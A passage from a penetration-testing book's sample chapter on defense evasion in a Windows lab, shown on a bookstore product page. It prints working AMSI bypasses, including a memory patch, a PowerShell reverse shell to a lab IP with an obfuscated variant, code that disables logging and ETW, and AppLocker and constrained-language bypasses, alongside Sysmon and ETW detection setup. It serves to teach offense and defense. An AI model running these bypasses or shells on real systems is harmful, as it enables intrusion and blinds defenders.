Search icon
Arrow left icon
All Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletters
Free Learning
Arrow right icon
Pentesting Active Directory and Windows-based Infrastructure
Pentesting Active Directory and Windows-based Infrastructure

Pentesting Active Directory and Windows-based Infrastructure: A comprehensive practical guide to penetration testing Microsoft infrastructure

By Denis Isakov
$35.99 $24.99
Book Nov 2023 360 pages 1st Edition
eBook
$35.99 $24.99
Print
$44.99
Subscription
$15.99 Monthly
eBook
$35.99 $24.99
Print
$44.99
Subscription
$15.99 Monthly

What do you get with eBook?

Product feature icon Instant access to your Digital eBook purchase
Product feature icon Download this book in EPUB and PDF formats
Product feature icon Access this title in our online reader with advanced features
Product feature icon DRM FREE - Read whenever, wherever and however you want
Buy Now

Product Details


Publication date : Nov 17, 2023
Length 360 pages
Edition : 1st Edition
Language : English
ISBN-13 : 9781804611364
Concepts :
Table of content icon View table of contents Preview book icon Preview Book

Pentesting Active Directory and Windows-based Infrastructure

Defense Evasion

The main idea of this chapter is simple – know your tooling. It can be very tempting to start pulling fresh tooling from GitHub after getting an initial foothold on the target machine, looking for low-hanging fruit and quick wins. It may work well in some training labs to learn about attacking concepts; however, during real engagement, a mature opponent can easily detect your malicious activity. There are quite a lot of professionally written tools for both defense and offense, not to mention C2 frameworks, vendor EDRs, and so on.

This chapter is not a fully comprehensive guide on how to evade all possible detection. Evasion is a constantly evolving game between the sword and the shield. Several factors can influence the way offensive operation is going, including preparation, the development of specific tooling, the team’s skill set, and the capabilities of both sides. We are not going to touch EDR/antivirus evasion. Excellent books have been published that will teach you how to find and develop possible bypasses, including attacking security solutions themselves.

We will focus on built-in security capabilities that can be deployed and enforced in the Windows environment. In this chapter, we are going to cover the following main topics:

  • AMSI, AppLocker, and PowerShell Constrained Language Mode (CLM) deployment and bypass
  • Deploy PowerShell Enhanced Logging, evade it, and use Sysmon to detect yourself
  • What is ETW? What extra capabilities and insights can it provide?

Technical requirements

In this chapter, you will use only two VMs from the GOADv2 lab – DC01 and SRV01. Ensure that SRV01 is a domain-joined machine, as we are going to use Group Policies during this chapter.

AMSI, PowerShell CLM, and AppLocker

In this section, we will discuss some of the built-in capabilities in Windows that can limit attacker’s actions on the compromised machine. AMSI, AppLocker, and PowerShell CLM can be bypassed in different ways, but considering them as defense in depth is a good decision. As usual, we need to know the limitations and cover bypasses where it is possible.

Antimalware Scan Interface

Let’s first discuss what Antimalware Scan Interface (AMSI) is. Microsoft developed it to provide a set of API calls for applications, including any third-party applications, to perform a signature-based scan of the content. Windows Defender uses it to scan PowerShell scripts, .NET, VBA macros, Windows Script Host (WSH), VBScript, and JavaScript to detect common malware. The important thing about AMSI is that you do not need to deploy it; it has been there since Windows 10.

In plain words, the AMSI algorithm works as follows:

  1. amsi.dll will be loaded into the process memory space; for example, PowerShell and AmsiInitialize will be called.
  2. Then, AmsiOpenSession is called, which opens a session for a scan.
  3. The script content will be scanned before the execution invoking one of the APIs is called – AmsiScanBuffer or AmsiScanString.
  4. If the content is clear from known malicious signatures, Microsoft Defender will return 1 as the result and the script will be executed.

To confirm this AMSI behavior, we can use Process Hacker[1] or API monitor[2]. These open source tools allow us to see loaded in-process modules, get information about them, and a lot of other information. In the following screenshot, we can see the loaded amsi.dll and a list of exported functions:

Figure 2.1 – Loaded amsi.dll and exported functions

Figure 2.1 – Loaded amsi.dll and exported functions

One important caveat from the Microsoft documentation is as follows – “But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that is the point at which you invoke the AMSI APIs.” A quick test to prove this statement is as follows:

Figure 2.2 – Detection and concatenation

Figure 2.2 – Detection and concatenation

It looks trivial. We can split the string first and then bypass AMSI using concatenation, but in more complex code this approach will require much more effort. There are a few strategies that were used by researchers to develop reliable bypasses – encoding/obfuscation, hooking, memory patching, forcing an error, registry key modification, and DLL hijacking. You can find two great compiled lists of bypasses and credits to original research created by S3cur3Th1sSh1t[3] and Pentest Laboratories[4]. Some of the bypasses look like a one-liner, but I highly encourage you to dive deeper and review them, read the original research, and follow the thought process. It’s also worth mentioning that not every bypass will be successful, as Microsoft tries to patch them as well. The chances are not great that the good old base64-encoded one-liners will do the trick. The best way to ensure that your bypass will work in the target environment is to precisely identify the victim’s OS version, recreate it in your lab environment, and test, test, test.

Note

For some quick wins, there is a great free website developed by Flangvik (https://amsi.fail/), where you can generate various PowerShell snippets to disable or break AMSI. Another helpful tool is Invoke-Obfuscation[5], written by Daniel Bohannon. This tool has different modes. For me, AST mode was the one that provided reliable bypasses most of the time. The idea is that the script will be obfuscated in such a way that it breaks the AST parsing algorithm in AMSI.

We will try to bypass AMSI using three different techniques: error forcing, obfuscation, and memory patching. As mentioned previously, I will use the SRV01 machine:

Get-WmiObject Win32_OperatingSystem | Select PSComputerName, Caption, Version | fl
PSComputerName : CASTELROCK
Caption        : Microsoft Windows Server 2019 Datacenter Evaluation
Version        : 10.0.17763

Way 1 – Error forcing

Let’s first look at error-forcing code and a bit of split/concatenate fantasy:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

The result of running the preceding commands is shown in the following screenshot:

Figure 2.3 – Error forcing

Figure 2.3 – Error forcing

Way 2 – Obfuscation

For AST obfuscation, let’s try to get reverse shell callback using PowerShellTcpOneLine.ps1 from the Nishang framework[6] and the previously mentioned Invoke-Obfuscation tool. We will set up a listener on port 443 with powercat[7] on another Windows box. Here is the original reverse shell code:

$client = New-Object System.Net.Sockets.TCPClient('192.168.214.135',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

When we try to run it, AMSI catches us:

Figure 2.4 – AMSI blocks original reverse shell

Figure 2.4 – AMSI blocks original reverse shell

Let’s run the Invoke-Obfuscation tool, choosing AST obfuscation, and providing the path to our original reverse shell. After obfuscation, the code looked like this:

Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient('192.168.214.135',443));Set-Variable -Name stream -Value ($client.GetStream());[byte[]]$bytes = 0..65535|%{0};while((Set-Variable -Name i -Value ($stream.Read($bytes, 0, $bytes.Length))) -ne 0){;Set-Variable -Name data -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i));Set-Variable -Name sendback -Value (iex $data 2>&1 | Out-String );Set-Variable -Name sendback2 -Value ($sendback + 'PS ' + (pwd).Path + '> ');Set-Variable -Name sendbyte -Value (([text.encoding]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

The result obtained by running the preceding commands is as follows:

Figure 2.5 – Obfuscated reverse shell callback

Figure 2.5 – Obfuscated reverse shell callback

Way 3 – Memory patch

There are a few ways we can manipulate AMSI in memory to achieve the bypass. The key reasoning behind this is that we are in full control of the process where amsi.dll will be loaded. One of the examples is to force AmsiScanBuffer to return AMSI_RESULT_CLEAN. The general idea is to import API calls and then return a specific value to the AmsiScanBuffer() call: 0x80070057. The original bypass is detected by AMSI now, so we can manipulate with assembly instructions by using a double add operand and successfully bypass the control. The code for this is as follows:

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0:  31 c0                   xor    eax,eax
#2:  05 78 01 19 7f          add    eax,0x7f190178
#7:  05 df fe ed 00          add    eax,0xedfedf
#c:  c3                      ret
#for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)

The result obtained by running the preceding commands is as follows:

Figure 2.6 – Successful AMSI disarm using memory patching

Figure 2.6 – Successful AMSI disarm using memory patching

Also, as an attacker, we cannot ignore the fact that some defensive mechanisms can be abused as well as bypassed. A great example was published by netbiosX[8], which stated that AMSI can be used to achieve persistence on the compromised host. Using previous research and their coding skills, a fake AMSI provider was developed and registered on the compromised host. Using a special keyword, we can initiate a callback home from our backdoor.

All the techniques mentioned here will leave some sort of trace on the victim’s machine. Moreover, even successful bypasses can still be caught by defenders. Excellent blog posts by Pentest Laboratories[9] and F-Secure[10] show how to create detections and share excellent ready-to-use recipes.

In the next section, we are going to discuss two security controls that are quite often deployed in corporate environments.

AppLocker and PowerShell CLM

AppLocker was added by Microsoft in Windows 7 as a successor to the older Software Restriction Policies (SRP). It was supposed to be a comprehensive application white-listing solution. With this feature, you can limit not only applications, but also scripts, batches, DLLs, and more. There are a few ways that a limit can be applied: by Name, Path, Publisher, or Hash. As stated by Microsoft, AppLocker is a security feature, not a boundary. Nowadays, the recommendation is to enforce Windows Defender Application Control (WDAC) as restrictively as possible and then use AppLocker to fine-tune the restrictions. However, in complex enterprise environments, it is still common to see AppLocker alone as it is easier to deploy and administrate.

To understand in more detail how AppLocker is working, I recommend you read four parts of Tyraniddo’s blog[11] about this feature. He starts the journey with the AppLocker setup and overview. In part 2, the author reveals how the process creation is blocked by the operating system’s kernel, followed by a clear example. Part 3 is devoted to rule processing, covering access tokens and access checks. Some basic understanding of security descriptors and tokens will not hurt the reader. The final part has a full focus on DLL blocking.

Now that we know what AppLocker is, why do we need anything on top? What is PowerShell CLM, and how does it relate to AppLocker? In short, we can limit PowerShell sensitive language capabilities to the users by enabling CLM. Some examples of these sensitive capabilities are Windows API invocation, creating arbitrary types, and dot sourcing[12].

CLM can be enforced via environment variables or by setting it through language mode. However, these methods are not reliable and can be bypassed with almost no effort from the attacker. But with system-wide application control solutions, it can be used. The idea is that PowerShell will detect when the AppLocker policy is being enforced and will run only in CLM.

How robust are these protections?

We will deploy it in our sevenkingdoms.local lab domain. I advise you to take a snapshot before any change in the lab so we can quickly revert to the initial state if required. We will create an AppLocker group policy on DC01 and enforce it on the SRV01 server. If you have never deployed AppLocker, there is a friendly guide available[13]. The rule is straightforward – action, user, condition, and exceptions if required. By following the previously mentioned guide[13], we will create default rules and restrictions for users to run cmd.exe. One important caveat – if you are in the Administrators group, by default, AppLocker is not applied to your account. To check your current ruleset, we can use the following command:

Get-AppLockerPolicy -Effective | Select-Object RuleCollections -ExpandProperty RuleCollections

The new Deny_CMD rule can be seen in the following screenshot:

Figure 2.7 – Deny rule in AppLocker

Figure 2.7 – Deny rule in AppLocker

Moreover, as we enforced rules for scripts as well, PowerShell went down in CLM. It is easy to check using the following command:

Figure 2.8 – PowerShell CLM in action

Figure 2.8 – PowerShell CLM in action

The robustness of these security features depends on the quality of the rules we are implementing. In AppLocker, we have Publisher, File Hash, and Path conditions. Let’s briefly discuss all of them and show some possible bypasses.

Path restrictions can be bypassed by evaluating trusted paths and copying our binary there; for example, there are plenty of subfolders inside C:\Windows, where the normal user can copy files. The File Hash deny rule can be bypassed by changing the binary with the known hash mentioned in the rule. Let’s bypass the first two conditions combined and execute nc64.exe on the host. I created the rule to block nc64.exe by its hash. We will first copy nc64.exe to the C:\Windows\System32\spool\drivers\color\ and then bypass the File Hash rule by changing the File Hash by adding an extra A at the end of the file. The result of the bypass is as follows:

Figure 2.9 – Path and hash rule bypass for nc.exe

Figure 2.9 – Path and hash rule bypass for nc.exe

The Publisher condition is much more difficult to bypass. The reason is that the application’s publisher signature and extended attributes will be checked. We cannot use self-signed certificates to bypass it, but we can abuse legitimate signed binaries, which have the extended functionality we need. There is a whole project with a list of such binaries at https://lolbas-project.github.io/. There are two well-illustrated blog posts about common LOLBAS abuse to bypass AppLocker using InstallUtil[14] and MSBuild[15]. In brief, we will use MSBuild.exe to compile and run our malicious code stored in an XML file; for example, with Windows APIs we can allocate memory, and copy and run our shellcode. Another method is to use InstallUtil to run our executable if it is located on the victim’s box:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\my.exe"

But what if cmd.exe is locked down? Not a big deal! You create shortcuts of the required binaries, such as InstallUtil and csc, then manually change the target field value so that it stores the required command line to execute. It is still reliably working until the LOLBAS binaries are not blocked. The entire project with the AppLocker bypasses list is available on GitHub[16]. By evaluating them, we can assess how robust our rules are.

Speaking about CLM bypass, there are different ways to achieve Full Language Mode, such as spawn PowerShell such that it downgrades to version 2 (rarely installed these days), use rundll32.exe with PowerShlld.dll[17], or use bypasses such as a wrapper over InstallUtil[18] and function return value patching[19]. The last three projects will require obfuscation to evade Microsoft Defender nowadays. To read more about the process of finding bypasses, I recommend going through XPN’s great research, “AppLocker and CLM Bypass via COM”[20]. But let me show you one of my favourite bypasses by sp00ks that I recently found[21]. The following code sets the environment registry value in the HKCU hive (you do not need to be an administrator for that), creates a PowerShell process using WMI, and then sets the value back:

$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp

The result obtained by running the preceding command is as follows:

Figure 2.10 – Example of CLM bypass

Figure 2.10 – Example of CLM bypass

As we mentioned at the beginning of the section, the best way to harden application control is to deploy Windows Defender Application Control (WDAC) together with AppLocker. One of the most powerful collections of rules is called AaronLocker[22], which can be deployed together with WDAC in your environment via Group Policy[23]. It is recommended to start monitoring your rulesets in audit mode, gradually fine-tuning them.

PowerShell Enhanced Logging and Sysmon

In this section, we are going to explore what Sysmon[24] is and how it can be used to detect attacker’s activities. Sysmon is a system service in Windows that we can install and use to log information about various events, including process creation, various file events, registry access, named pipes, and network connections. Logs stay in Windows Event Collection. Sysmon does not prevent any attacks or provide an analysis of the events. There are a few great projects that can help you get started with Sysmon. A great community guide is provided by TrustedSec[25], and we will use the Sysmon config created by SwiftOnSecurity[26] as it is one of the best high-quality event tracing templates. Two more projects that provide a variety of config files were created by Florian Roth[27] and Olaf Hartong[28].

Let’s install Sysmon, apply the configs from the preceding project, and start digging inside the logs. Installation is straightforward; only one command being run as administrator is required, which is as follows:

Sysmon64.exe -accepteula -i sysmonconfig-export.xml

The expected result is as follows:

Figure 2.11 – Sysmon installation

Figure 2.11 – Sysmon installation

Now, we are going to enable PowerShell Transcription, Script Block, and Module Logging. To enable them, I will use Group Policy Management on kingslanding.sevenkingdoms.local. I will create a separate GPO at Computer Configuration | Policies | Administrative Templates | Windows Components | Windows PowerShell. The settings can be seen in the following screenshot:

Figure 2.12 – Group Policies to enable PowerShell Logging

Figure 2.12 – Group Policies to enable PowerShell Logging

These logging features are intended to provide better visibility for defenders if PowerShell is expected to be used across the organization. Our first control is Script Block Logging, including Warning Logging of Suspicious Commands. There are known bypasses found by cobbr.io (the author of the C2 Covenant Framework) for ScriptBlock Logging[29] and Suspicious Commands Logging[30]. I just slightly modified the code to bypass AMSI and added a bit more visibility:

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static')
If ($GroupPolicyField) {
  $GroupPolicyCache = $GroupPolicyField.GetValue($null)
  Write-Host("Before")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
  If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
  }
  $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
  $val.Add('EnableScriptB'+'lockLogging', 0)
  $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
  Write-Host("After")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
}

The result obtained from running the preceding command is as follows:

Figure 2.13 – PowerShell Script Block Logging bypass

Figure 2.13 – PowerShell Script Block Logging bypass

One point to consider is that our bypass will still be logged until we disable Event Tracing for Windows (ETW) for the current PowerShell session first. This can be done using the following command:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

We can also obfuscate this command to bypass Suspicious ScriptBlock Logging. Do not rely much on obfuscation as an experienced blue team will de-obfuscate it with the help of a tool such as DeepBlue[31] and immediately launch the investigation. The good thing is that for this bypass, we do not need elevated privileges and only manipulate cached values from Group Policy, so no modification on the host is required.

Two new PowerShell ScriptBlock and Module Logging bypasses were introduced by BC-security in their series of blog posts. The ScriptBlock bypass is based on the fact that the script block that has already been logged will be skipped if it is encountered a second time. The idea is to set the value of HasLogged to True before invoking the script. The purpose of the Module Logging bypass was to create a callable command that has no module or PowerShell snap-in associated with it[32]. Part 2 of the blog series showed how commands can be obfuscated to make the defender’s analysis more difficult[33]. Quick prevention recommendations against these bypasses will require the PowerShell Protect module[34].

However, if PowerShell Transcription is enabled, our activity will be still logged in to the file regardless of the preceding bypass. The reason is that even if we disable transcription in the active PowerShell session, it will continue the transcription and ignore the newly changed value. The original way to bypass was shown by Jann Lemm from Avantguard in his blog post[35]. The idea is to create a custom runspace, overwrite the value of EnableTranscripting, and then open the new runspace. Proof-of-concept code is available in the blogpost.

But what if there is a tool that can help us to bypass everything with almost no manual effort? Well, please, welcome Invisi-Shell, written by Omer Yair. The tool hooks .NET assemblies via the CLR Profiler API, making PowerShell security controls blind. For more details, I highly encourage you to read the tools code[36] and watch the original talk presented by the author on DerbyCon. But keep in mind that the tool is quite old and is easily detected by most security solutions.

The most up-to-date tool to achieve all this was written by mgeeky and is called Stracciatella[37]. This tool is based on the SharpPick technique (launch PowerShell code from within a C# assembly using runspaces) with AMSI, ETW, and PowerShell Logging bypasses incorporated inside. Still, some AV evasion will be required.

Let’s say we achieved administrator privileges on the compromised box and decided to disable transcription by modifying the EnableTranscripting registry key, located in HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription. This can be done with the following PowerShell command running from an elevated shell:

Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name  EnableTranscripting -Value 0

But let’s say we have a Sysmon rule, such as the following:

<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>

We will get an event that could potentially trigger an investigation:

Figure 2.14 – Sysmon detects registry change

Figure 2.14 – Sysmon detects registry change

Another good example of Sysmon detection is AMSI provider deletion via the registry, which will create event ID 13 in the log. All the providers have their unique keys. For example, Windows Defender has HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}. Sysmon can provide much more from a detection perspective if you examine the published configuration files.

Another good example for Sysmon is network connection detection. Let’s try to run something like the following command:

SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"

Sysmon will detect activity, but not prevent the connection:

Figure 2.15 – Suspicious outbound connection detected by Sysmon

Figure 2.15 – Suspicious outbound connection detected by Sysmon

We are close to concluding this section, so let’s briefly go through the possible ways to find and tamper with Sysmon. A great guide was created by spotheplanet[38]. An adversary can check process and service names, evaluate registry keys for Sysmon Windows Events, and search for Sysmon configs and tools.

We have two main ways to bypass Sysmon – operate inside rules’ blind spots or disarm Sysmon. Rules bypass will be specific to the environment and may vary significantly. So, let’s have a look at what we can do to disarm Sysmon. Olaf Hartong has an excellent blog post describing possible venues for attackers[39]. Most of the techniques mentioned require highly privileged access on the box and can trigger an immediate critical security incident for the blue team, but they are still worth mentioning:

  • Configuration change
  • Sysmon service stop
  • Suppress logging
  • Access/alter configuration via registry
  • Process injection in Sysmon.exe
  • Driver renaming

The reliable way to silence Sysmon is by using the Invoke-Phant0m tool[40], which will keep the victim’s machine online but not logging anything, because it kills logging threads. There are also more advanced ways to put Sysmon in quiet mode, such as patching the EtwEventWrite API[41]. There is remarkable research done by Code White that shows how Sysmon can be hooked and events can be manipulated[42]. Particularly, I would like to mention that this way of disarming Sysmon is probably the most silent publicly available way, as stated that by the researchers[42]: “no suspicious ProcessAccess events on Sysmon are observable via Sysmon or the Event Log making the detection (supposedly) nontrivial.

Another way is to unload the Sysmon driver completely using a tool called Shhmon[43]. It allows the attacker to find even renamed Sysmon drivers and unload them. We can also use a built-in utility called fltMC.exe or the misc::mflt Mimikatz module for the same purpose. Anyway, there are notable events left in logs that can be used to hunt for this technique.

Event Tracing for Windows (ETW)

Event Tracing for Windows (ETW) is a kernel-level tracing facility for logging events and is intended to be used for application debugging and can be enabled/disabled without restarting the application/system. In short, the system consists of three components – controllers, providers, and consumers. Controllers are used to start/stop the Event Tracing session, which is used to receive events from providers and deliver them to consumers. To start using ETW, I can recommend the most detailed beginners guide[44]. Bmcder shows how to use the logman and wevtutil.exe tools, event manifests, and APIs to access ETW. At the end, there is a list of useful providers for the blue team. Also, it’s important to note that ETW is useful for collecting ongoing events rather than historical ones. However, the number of events is huge and will require post-processing using SIEM and/or Yara.

Let’s investigate how to use ETW for .NET tooling usage visibility. There are two excellent blog posts by F-Secure on how to detect malicious use of .NET. Part 1[45] is dedicated to the process of loading .NET assemblies and how to gain visibility of them. Part 2[46] goes into the details of JIT and Interop tracing, showing how malicious examples of Meterpreter and SafetyKatz can be detected. Method names, assemblies, and common malware API calls will be a security concern for an insightful defender. For both offensive and defensive tests, we can use a great tool created by FuzzySec called SilkETW[47]. Essentially, it is a set of wrappers for ETW that we can use in real time for collecting and filtering .NET events from Microsoft-Windows-DotNETRuntime and other providers. We can further enhance our analysis by applying known indicators of compromise from Yara. Following is a simple example of running renamed Seatbelt[48]:

Figure 2.16 – Process Hacker shows loaded .NET assemblies

Figure 2.16 – Process Hacker shows loaded .NET assemblies

We will start SilkETW by using the following command:

 .\SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -l verbose -ot eventlog

After the launch of the SilkETW process, 820 events have been collected already. We execute Seatbelt to get system information by running the following command:

.\legit_binary.exe OSInfo

The number of events goes up to 1,763, and some of them include indicators of compromise. Going through these events allows security products such as Yara or modern AV/EDR solutions to detect our activity:

Figure 2.17 – SilkETW in action

Figure 2.17 – SilkETW in action

One of the corresponding log entries is as follows:

Figure 2.18 – Multiple Seatbelt entries inside the log

Figure 2.18 – Multiple Seatbelt entries inside the log

We have two main strategies to avoid detection – tamper with ETW or use some kind of obfuscation. One example of an open source protector is ConfuserEx[49]. It still leaves some IOCs, but it can be a good starting point, as was demonstrated in the blog post by White Knight Labs[50].

A more promising way to bypass ETW is to hide tradecraft from it. XPN published great research on how to do it in his blog[51]. The idea has much in common with AMSI bypass – patch the call to ntdll!EtwEventWrite in a way that will not log anything. Another way to achieve the same result was demonstrated by Cneelis in his TamperETW[52] example.

To observe ETW in action, I encourage you to read an excellent blog post by mez0[53]. The author demonstrates .NET provider creation, simple .NET loader detection, and ETW neutralization. Repairing the ETW provider after execution is demonstrated as well. Links to relevant research and an overview of other security ETW providers are included as well, making this research unique and distinguishable.

A list of other ETW tampering techniques was published by Palantir in their blog[54]. Two of these techniques (Autologger provider removal and provider Enable property modification) will require reboot, and all of them require at least administrator privileges.

Summary

In this chapter, we demonstrated the basic concepts of evasion for common security controls. This is just the tip of the iceberg, as we did not cover AV/EDR bypass, tool customization, shellcode loaders, and much more. We covered built-in controls (AMSI) as well as enhanced security components that can be deployed by Group Policies in the domain (AppLocker and Enhanced PowerShell Security). Then, we had a look at possible detection mechanisms that can be enforced in Windows with the help of Sysmon and ETW.

In the upcoming chapters, we are going to use different tools and focus on concepts. We will run tools on machines with Microsoft Defender disabled. It is important to show that evasion is a vital part of the process and always comes first. The key to success is to know what our tools are doing under the hood, and what IOCs we leave on compromised machines.

The next chapter will be devoted to domain enumeration. We will see how it can be done with different tools, what the well-known patterns are for such activities, and how not to miss important bits.

References

  1. Process Hacker: https://processhacker.sourceforge.io/
  2. API monitor: http://www.rohitab.com/apimonitor
  3. AMSI bypass list by S3cur3Th1sSh1t: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
  4. AMSI bypass list by Pentestlaboratories: https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
  5. Invoke-Obfuscation script: https://github.com/danielbohannon/Invoke-Obfuscation
  6. Nishang project: https://github.com/samratashok/nishang
  7. Powercat: https://github.com/besimorhino/powercat
  8. Persistence via AMSI: https://pentestlab.blog/2021/05/17/persistence-amsi/
  9. Threat Hunting AMSI bypasses by Pentest Laboratories: https://pentestlaboratories.com/2021/06/01/threat-hunting-amsi-bypasses/
  10. Hunt for AMSI bypasses by F-Secure: https://blog.f-secure.com/hunting-for-amsi-bypasses/
  11. Tiraniddo’s research about Applocker internals: https://www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-1.html
  12. Sensitive PowerShell capabilities constrained by CLM: https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/#what-does-constrained-language-constrain
  13. AppLocker beginners guide: https://www.hackingarticles.in/windows-applocker-policy-a-beginners-guide/
  14. AppLocker bypass using InstallUtil: https://www.ired.team/offensive-security/code-execution/t1118-installutil
  15. AppLocker bypass using MSBuild: https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
  16. AppLocker bypass list project: https://github.com/api0cradle/UltimateAppLockerByPassList
  17. PowerShdll project uses PowerShell automation DLLs: https://github.com/p3nt4/PowerShdll
  18. PSBypassCLM project to create a wrapper over InstalUtil: https://github.com/padovah4ck/PSByPassCLM
  19. Bypass-CLM project to patch the return value: https://github.com/calebstewart/bypass-clm
  20. Bypass CLM with the help of COM: https://blog.xpnsec.com/constrained-language-mode-bypass/
  21. Bypass CLM by setting the HKCU environment value: https://sp00ks-git.github.io/posts/CLM-Bypass/
  22. AaronLocker project: https://github.com/microsoft/AaronLocker
  23. Deploy WDAC and AppLocker: https://improsec.com/tech-blog/one-thousand-and-one-application-blocks
  24. Sysmon: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
  25. Sysmon Community Guide: https://github.com/trustedsec/SysmonCommunityGuide
  26. Sysmon config version by SwiftOnSecurity: https://github.com/SwiftOnSecurity/sysmon-config
  27. Sysmon config version by Florian Roth: https://github.com/Neo23x0/sysmon-config
  28. Sysmon config version by Olaf Hartong: https://github.com/olafhartong/sysmon-modular
  29. ScriptBlock Logging bypass by cobbr.io: https://cobbr.io/ScriptBlock-Logging-Bypass.html
  30. ScriptBlock Warning Event Logging by cobbr.io: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html
  31. DeepBlue: https://github.com/sans-blue-team/DeepBlueCLI
  32. Newish bypasses Part 1: https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
  33. Newish bypasses Part 2: https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/
  34. PowerShell Protect Module: https://blog.ironmansoftware.com/protect-logging-bypass/
  35. Bypass of EnableTranscripting: https://avantguard.io/en/blog/powershell-enhanced-logging-capabilities-bypass
  36. Invisi-Shell tool: https://github.com/OmerYa/Invisi-Shell and https://www.youtube.com/watch?v=Y3oMEiySxcc
  37. Stracciatella tool: https://github.com/mgeeky/Stracciatella
  38. Detect Sysmon: https://www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host
  39. Sysmon tampering: https://medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-part-3-sysmon-tampering-49c2dc9bf6d9
  40. Phant0m tool: https://github.com/hlldz/Phant0m
  41. SysmonQuiet: https://github.com/ScriptIdiot/SysmonQuiet
  42. SysmonEnte: https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html
  43. Shhmon: https://github.com/matterpreter/Shhmon
